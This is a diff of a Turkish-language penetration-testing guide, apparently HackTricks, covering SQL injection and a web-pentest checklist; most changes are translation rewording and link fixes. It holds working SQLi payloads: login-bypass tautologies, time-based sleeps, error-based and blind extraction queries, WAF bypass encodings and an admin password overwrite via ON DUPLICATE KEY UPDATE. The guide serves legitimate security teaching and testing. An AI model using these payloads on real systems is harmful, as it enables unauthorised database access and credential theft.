## Giriş noktası tespiti
 | 
			
		||||
 | 
			
		||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu göründüğünde, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
 | 
			
		||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu göründüğünde, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yollarını anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
 | 
			
		||||
```
 | 
			
		||||
[Nothing]
 | 
			
		||||
'
 | 
			
		||||
@ -53,7 +53,7 @@ HQL does not support comments
 | 
			
		||||
```
 | 
			
		||||
### Mantıksal işlemlerle doğrulama
 | 
			
		||||
 | 
			
		||||
Bir SQL enjeksiyon açığını doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon açığı olduğunu gösterir.
 | 
			
		||||
Bir SQL enjeksiyon açığını doğrulamanın güvenilir bir yöntemi, bir **mantıksal işlem** gerçekleştirmek ve beklenen sonuçları gözlemlemektir. Örneğin, `?username=Peter` gibi bir GET parametresinin `?username=Peter' or '1'='1` olarak değiştirildiğinde aynı içeriği vermesi, bir SQL enjeksiyon açığına işaret eder.
 | 
			
		||||
 | 
			
		||||
Benzer şekilde, **matematiksel işlemlerin** uygulanması etkili bir doğrulama tekniği olarak hizmet eder. Örneğin, `?id=1` ve `?id=2-1` erişimlerinin aynı sonucu vermesi, SQL enjeksiyonunu gösterir.
 | 
			
		||||
 | 
			
		||||
@ -64,13 +64,13 @@ page.asp?id=1' or 1=1 -- results in true
 | 
			
		||||
page.asp?id=1" or 1=1 -- results in true
 | 
			
		||||
page.asp?id=1 and 1=2 -- results in false
 | 
			
		||||
```
 | 
			
		||||
Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını doğrulamaya** çalışmak için oluşturulmuştur:
 | 
			
		||||
Bu kelime listesi, önerilen şekilde **SQL enjeksiyonlarını** **doğrulamaya** çalışmak için oluşturulmuştur:
 | 
			
		||||
 | 
			
		||||
{% file src="../../images/sqli-logic.txt" %}
 | 
			
		||||
 | 
			
		||||
### Zaman ile Doğrulama
 | 
			
		||||
 | 
			
		||||
Bazı durumlarda, test ettiğiniz sayfada **hiçbir değişiklik fark etmeyeceksiniz**. Bu nedenle, **kör SQL enjeksiyonlarını keşfetmenin** iyi bir yolu, veritabanının işlemler yapmasını sağlamak ve bu işlemlerin sayfanın yüklenme süresi üzerinde **etkisi** olacaktır.\
 | 
			
		||||
Bazı durumlarda, test ettiğiniz sayfada **herhangi bir değişiklik fark etmeyeceksiniz**. Bu nedenle, **kör SQL enjeksiyonlarını** keşfetmenin iyi bir yolu, veritabanının işlemler yapmasını sağlamak ve bu işlemlerin sayfanın yüklenme süresi üzerinde **etkisi** olacaktır.\
 | 
			
		||||
Bu nedenle, SQL sorgusuna tamamlanması uzun sürecek bir işlemi ekleyeceğiz:
 | 
			
		||||
```
 | 
			
		||||
MySQL (string concat and logical ops)
 | 
			
		||||
@ -93,7 +93,7 @@ SQLite
 | 
			
		||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
 | 
			
		||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
 | 
			
		||||
```
 | 
			
		||||
Bazı durumlarda **sleep fonksiyonlarına izin verilmeyecek**. Bu durumda, bu fonksiyonları kullanmak yerine, sorgunun **karmaşık işlemler gerçekleştirmesini** sağlayabilirsiniz; bu işlemler birkaç saniye alacaktır. _Bu tekniklerin örnekleri her teknoloji için ayrı ayrı yorumlanacaktır (varsa)_.
 | 
			
		||||
Bazı durumlarda **sleep fonksiyonlarına izin verilmeyecek**. Bu durumda, bu fonksiyonları kullanmak yerine, sorgunun **karmaşık işlemler gerçekleştirmesini** sağlayabilirsiniz; bu işlemler birkaç saniye sürecektir. _Bu tekniklerin örnekleri her teknoloji için ayrı ayrı yorumlanacaktır (varsa)_.
 | 
			
		||||
 | 
			
		||||
### Arka Uç Belirleme
 | 
			
		||||
 | 
			
		||||
@ -195,25 +195,25 @@ Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi
 | 
			
		||||
 | 
			
		||||
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve böylece yeni erişilebilir union tabanlı enjeksiyonun sömürülmesi sağlanır.
 | 
			
		||||
 | 
			
		||||
Daha kapsamlı bilgiler için [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) makalesine başvurun.
 | 
			
		||||
Daha kapsamlı bilgiler için, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) adresindeki tam makaleye başvurun.
 | 
			
		||||
 | 
			
		||||
## Hata Tabanlı Sömürü
 | 
			
		||||
 | 
			
		||||
Eğer bir nedenle **sorgunun** **çıkışını** göremiyorsanız ancak **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\
 | 
			
		||||
Eğer bir sebepten dolayı **sorgunun** **çıkışını** göremiyorsanız ancak **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\
 | 
			
		||||
Union Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz.
 | 
			
		||||
```sql
 | 
			
		||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 | 
			
		||||
```
 | 
			
		||||
## Blind SQLi'yi Kullanma
 | 
			
		||||
 | 
			
		||||
Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **doğru** veya **yanlış** bir yanıt verip vermediğini sayfadaki farklı içeriklerden **ayırabilirsiniz**.\
 | 
			
		||||
Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **doğru** veya **yanlış** bir yanıt döndürdüğünde sayfadaki farklı içeriklerden **ayırabilirsiniz**.\
 | 
			
		||||
Bu durumda, veritabanını karakter karakter dökmek için bu davranışı kötüye kullanabilirsiniz:
 | 
			
		||||
```sql
 | 
			
		||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
 | 
			
		||||
```
 | 
			
		||||
## Hata Kör SQLi Sömürüsü
 | 
			
		||||
## Hata Kör SQLi İstismarı
 | 
			
		||||
 | 
			
		||||
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** olup olmadığını ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
 | 
			
		||||
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** ile ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri tahmin ettiğiniz her seferde bir SQL hatası zorlayabilirsiniz:
 | 
			
		||||
```sql
 | 
			
		||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
 | 
			
		||||
```
 | 
			
		||||
@ -225,7 +225,7 @@ Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını ayırt e
 | 
			
		||||
```
 | 
			
		||||
## Stacked Queries
 | 
			
		||||
 | 
			
		||||
Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilişkilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
 | 
			
		||||
Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
 | 
			
		||||
 | 
			
		||||
**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE`
 | 
			
		||||
 | 
			
		||||
@ -241,17 +241,17 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 | 
			
		||||
```
 | 
			
		||||
## Otomatik Sömürü
 | 
			
		||||
 | 
			
		||||
Bir SQLi zafiyetini sömürmek için [SQLMap Cheatsheet](sqlmap/) sayfasını kontrol edin ve [**sqlmap**](https://github.com/sqlmapproject/sqlmap) kullanın.
 | 
			
		||||
Bir SQLi zafiyetini sömürmek için [SQLMap Cheatsheet](sqlmap/index.html)'e bakın ve [**sqlmap**](https://github.com/sqlmapproject/sqlmap) kullanın.
 | 
			
		||||
 | 
			
		||||
## Teknik spesifik bilgiler
 | 
			
		||||
## Teknolojiye özgü bilgiler
 | 
			
		||||
 | 
			
		||||
SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı daha fazla ipucu bulabilirsiniz:
 | 
			
		||||
 | 
			
		||||
- [MS Access](ms-access-sql-injection.md)
 | 
			
		||||
- [MSSQL](mssql-injection.md)
 | 
			
		||||
- [MySQL](mysql-injection/)
 | 
			
		||||
- [MySQL](mysql-injection/index.html)
 | 
			
		||||
- [Oracle](oracle-injection.md)
 | 
			
		||||
- [PostgreSQL](postgresql-injection/)
 | 
			
		||||
- [PostgreSQL](postgresql-injection/index.html)
 | 
			
		||||
 | 
			
		||||
Ya da **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok ipucu** bulacaksınız [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
 | 
			
		||||
 | 
			
		||||
@ -267,7 +267,7 @@ Giriş işlevselliğini atlatmayı denemek için liste:
 | 
			
		||||
```sql
 | 
			
		||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
 | 
			
		||||
```
 | 
			
		||||
Bu sorgu, MD5'in kimlik doğrulama kontrollerinde ham çıktı için true ile kullanıldığında bir zayıflığı sergilemektedir ve bu durum sistemi SQL enjeksiyonuna karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir.
 | 
			
		||||
Bu sorgu, MD5'in kimlik doğrulama kontrollerinde ham çıktı için true ile kullanıldığında bir zayıflığı sergilemektedir ve bu durum sistemi SQL enjeksiyonuna karşı savunmasız hale getirmektedir. Saldırganlar, bu durumu, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak istismar edebilir ve yetkisiz erişim sağlayabilir.
 | 
			
		||||
```sql
 | 
			
		||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
 | 
			
		||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
 | 
			
		||||
@ -276,7 +276,7 @@ sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
 | 
			
		||||
```sql
 | 
			
		||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 | 
			
		||||
```
 | 
			
		||||
**Tavsiye edilen liste**:
 | 
			
		||||
**Önerilen liste**:
 | 
			
		||||
 | 
			
		||||
Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**Pass1234.**_ kullanmalısınız.\
 | 
			
		||||
&#xNAN;_(Bu yükler, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_
 | 
			
		||||
@ -285,7 +285,7 @@ Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**
 | 
			
		||||
 | 
			
		||||
### GBK Kimlik Doğrulama Atlatma
 | 
			
		||||
 | 
			
		||||
Eğer ' kaçış yapılıyorsa %A8%27 kullanabilirsiniz ve ' kaçış yapıldığında şu oluşturulacaktır: 0xA80x5c0x27 (_╘'_)
 | 
			
		||||
Eğer ' kaçış karakteri ile işleniyorsa %A8%27 kullanabilirsiniz ve ' kaçış karakteri ile işlendiğinde şu şekilde oluşturulacaktır: 0xA80x5c0x27 (_╘'_)
 | 
			
		||||
```sql
 | 
			
		||||
%A8%27 OR 1=1;-- 2
 | 
			
		||||
%8C%A8%27 OR 1=1-- 2
 | 
			
		||||
@ -312,13 +312,13 @@ Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **olu
 | 
			
		||||
 | 
			
		||||
- Adı **AdMIn** olan bir kullanıcı oluşturun (büyük & küçük harfler)
 | 
			
		||||
- Adı **admin=** olan bir kullanıcı oluşturun
 | 
			
		||||
- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bir tür **uzunluk sınırı** olduğunda) --> Adı **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun
 | 
			
		||||
- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bazı türde **uzunluk sınırı** olduğunda) --> Adı **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun
 | 
			
		||||
 | 
			
		||||
#### SQL Truncation Attack
 | 
			
		||||
 | 
			
		||||
Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısını taklit etmek istiyorsanız, "_admin \[30 boşluk] a_" adında bir kullanıcı adı oluşturmaya çalışın ve herhangi bir şifre belirleyin.
 | 
			
		||||
 | 
			
		||||
Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" olarak **yeni şifreyle güncelleyerek** tüm boşlukları sonunda **otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).
 | 
			
		||||
Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" olarak **güncelleyerek sonundaki tüm boşlukları otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
 | 
			
		||||
 | 
			
		||||
@ -326,7 +326,7 @@ _Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi
 | 
			
		||||
 | 
			
		||||
### MySQL Ekleme zaman tabanlı kontrol
 | 
			
		||||
 | 
			
		||||
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Gecikme gerçekleşirse, bir SQLInjection'ınız var.
 | 
			
		||||
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Eğer gecikme gerçekleşirse, bir SQLInjection'a sahipsiniz.
 | 
			
		||||
```sql
 | 
			
		||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 | 
			
		||||
```
 | 
			
		||||
@ -334,7 +334,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 | 
			
		||||
 | 
			
		||||
MySQL'deki `ON DUPLICATE KEY UPDATE` ifadesi, UNIQUE indeks veya PRIMARY KEY'de bir kopya değere neden olacak bir satır eklenmeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek için nasıl istismar edilebileceğini göstermektedir:
 | 
			
		||||
 | 
			
		||||
Örnek Yük Enjeksiyonu:
 | 
			
		||||
Örnek Yükleme Enjeksiyonu:
 | 
			
		||||
 | 
			
		||||
Bir enjeksiyon yükü şu şekilde hazırlanabilir; burada `users` tablosuna iki satır eklenmeye çalışılmaktadır. İlk satır bir aldatmaca, ikinci satır ise mevcut bir yöneticinin e-posta adresini hedef alarak şifreyi güncellemeyi amaçlamaktadır:
 | 
			
		||||
```sql
 | 
			
		||||
@ -342,9 +342,9 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
 | 
			
		||||
```
 | 
			
		||||
İşte nasıl çalıştığı:
 | 
			
		||||
 | 
			
		||||
- Sorgu, `generic_user@example.com` için bir ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
 | 
			
		||||
- Sorgu, `generic_user@example.com` için bir satır ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
 | 
			
		||||
- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.
 | 
			
		||||
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword" yeni şifrenin bcrypt hash'ini temsil eder ve bu, istenen şifrenin gerçek hash'i ile değiştirilmelidir).
 | 
			
		||||
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword", istenen şifrenin gerçek hash'i ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
 | 
			
		||||
 | 
			
		||||
### Bilgi çıkarma
 | 
			
		||||
 | 
			
		||||
@ -382,7 +382,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
 | 
			
		||||
 | 
			
		||||
Routed SQL injection, çıktıyı veren sorgu değil, enjekte edilebilir sorgunun çıktısının çıktıyı veren sorguya gittiği bir durumdur. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
 | 
			
		||||
 | 
			
		||||
Example:
 | 
			
		||||
Örnek:
 | 
			
		||||
```
 | 
			
		||||
#Hex of: -1' union select login,password from users-- a
 | 
			
		||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
 | 
			
		||||
@ -393,7 +393,7 @@ Example:
 | 
			
		||||
 | 
			
		||||
### No spaces bypass
 | 
			
		||||
 | 
			
		||||
No Space (%20) - boşluk alternatifleri kullanarak bypass
 | 
			
		||||
No Space (%20) - boşluk alternatifleri kullanarak atlatma
 | 
			
		||||
```sql
 | 
			
		||||
?id=1%09and%091=1%09--
 | 
			
		||||
?id=1%0Dand%0D1=1%0D--
 | 
			
		||||
@ -445,7 +445,7 @@ Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullan
 | 
			
		||||
```
 | 
			
		||||
### Sütun İsimleri Kısıtlamasını Aşma
 | 
			
		||||
 | 
			
		||||
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** unutmayın, sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
 | 
			
		||||
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** unutmayın, bu durumda sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
 | 
			
		||||
 | 
			
		||||
Bir tablonun **üçüncü sütununa ismini kullanmadan erişmek** mümkündür, aşağıdaki gibi bir sorgu ile: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir:
 | 
			
		||||
```bash
 | 
			
		||||
 | 
			
		||||
@ -7,10 +7,10 @@ Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği**
 | 
			
		||||
## Proxies
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanmaktadır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka planda ek bir zafiyet de gereklidir.
 | 
			
		||||
> Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanmaktadır, bunlar zafiyetleri istismar etmek için (kötüye) kullanılabilir. Bu zafiyetlerin var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da ek bir zafiyet gerektirir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
 | 
			
		||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
 | 
			
		||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 | 
			
		||||
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 | 
			
		||||
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
@ -21,7 +21,7 @@ Her Web Pentest'te, **gizli ve belirgin birçok yerin savunmasız olabileceği**
 | 
			
		||||
## **Kullanıcı girişi**
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verecektir.**\
 | 
			
		||||
> Çoğu web uygulaması, **kullanıcıların daha sonra işlenecek bazı verileri girmesine izin verir.**\
 | 
			
		||||
> Sunucunun beklediği veri yapısına bağlı olarak bazı zafiyetler uygulanabilir veya uygulanmayabilir.
 | 
			
		||||
 | 
			
		||||
### **Yansıtılan Değerler**
 | 
			
		||||
@ -31,18 +31,18 @@ Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitl
 | 
			
		||||
- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
 | 
			
		||||
- [ ] [**Command Injection**](command-injection.md)
 | 
			
		||||
- [ ] [**CRLF**](crlf-0d-0a.md)
 | 
			
		||||
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
 | 
			
		||||
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 | 
			
		||||
- [ ] [**Open Redirect**](open-redirect.md)
 | 
			
		||||
- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
 | 
			
		||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
 | 
			
		||||
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
 | 
			
		||||
- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
 | 
			
		||||
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 | 
			
		||||
- [ ] [**XSS**](xss-cross-site-scripting/)
 | 
			
		||||
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 | 
			
		||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
 | 
			
		||||
- [ ] [**XS-Search**](xs-search/)
 | 
			
		||||
- [ ] [**XS-Search**](xs-search/index.html)
 | 
			
		||||
 | 
			
		||||
Bahsedilen zafiyetlerin bazıları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Zafiyetleri hızlı bir şekilde test etmek için bazı ilginç poliglotlar bulabilirsiniz:
 | 
			
		||||
 | 
			
		||||
@ -52,30 +52,30 @@ pocs-and-polygloths-cheatsheet/
 | 
			
		||||
 | 
			
		||||
### **Arama işlevleri**
 | 
			
		||||
 | 
			
		||||
Eğer işlev, arka planda bazı verileri aramak için kullanılabiliyorsa, belki de onu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
 | 
			
		||||
Eğer işlev, arka uçta bazı verileri aramak için kullanılabiliyorsa, belki de bunu keyfi verileri aramak için (kötüye) kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
 | 
			
		||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
 | 
			
		||||
- [ ] [**NoSQL Injection**](nosql-injection.md)
 | 
			
		||||
- [ ] [**LDAP Injection**](ldap-injection.md)
 | 
			
		||||
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
 | 
			
		||||
- [ ] [**SQL Injection**](sql-injection/)
 | 
			
		||||
- [ ] [**SQL Injection**](sql-injection/index.html)
 | 
			
		||||
- [ ] [**XPATH Injection**](xpath-injection.md)
 | 
			
		||||
 | 
			
		||||
### **Formlar, WebSocket'ler ve PostMsg'ler**
 | 
			
		||||
 | 
			
		||||
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylem gerçekleştirmesine izin veren bir form olduğunda zafiyetler ortaya çıkabilir.
 | 
			
		||||
Bir websocket bir mesaj gönderdiğinde veya kullanıcıların eylemler gerçekleştirmesine izin veren bir form olduğunda zafiyetler ortaya çıkabilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
 | 
			
		||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/)
 | 
			
		||||
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 | 
			
		||||
 | 
			
		||||
### **HTTP Başlıkları**
 | 
			
		||||
 | 
			
		||||
Web sunucusu tarafından verilen HTTP başlıklarına bağlı olarak bazı zafiyetler mevcut olabilir.
 | 
			
		||||
 | 
			
		||||
- [ ] [**Clickjacking**](clickjacking.md)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
 | 
			
		||||
- [ ] [**Cookies Hacking**](hacking-with-cookies/)
 | 
			
		||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
 | 
			
		||||
- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
 | 
			
		||||
- [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
 | 
			
		||||
 | 
			
		||||
### **Bypass'ler**
 | 
			
		||||
@ -85,7 +85,7 @@ Bazı özel işlevlerde, bunları aşmak için bazı geçici çözümler yararl
 | 
			
		||||
- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
 | 
			
		||||
- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
 | 
			
		||||
- [ ] [**Captcha Bypass**](captcha-bypass.md)
 | 
			
		||||
- [ ] [**Login Bypass**](login-bypass/)
 | 
			
		||||
- [ ] [**Login Bypass**](login-bypass/index.html)
 | 
			
		||||
- [ ] [**Race Condition**](race-condition.md)
 | 
			
		||||
- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
 | 
			
		||||
- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
 | 
			
		||||
@ -96,7 +96,7 @@ Bazı özel işlevlerde, bunları aşmak için bazı geçici çözümler yararl
 | 
			
		||||
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işleyip işlemediğini belirlemek daha kolaydır.\
 | 
			
		||||
Bazı **özel işlevler**, **girişin belirli bir formatta kullanılması durumunda** da savunmasız olabilir (örneğin, E-posta Başlık Enjeksiyonları).
 | 
			
		||||
 | 
			
		||||
- [ ] [**Deserialization**](deserialization/)
 | 
			
		||||
- [ ] [**Deserialization**](deserialization/index.html)
 | 
			
		||||
- [ ] [**Email Header Injection**](email-injections.md)
 | 
			
		||||
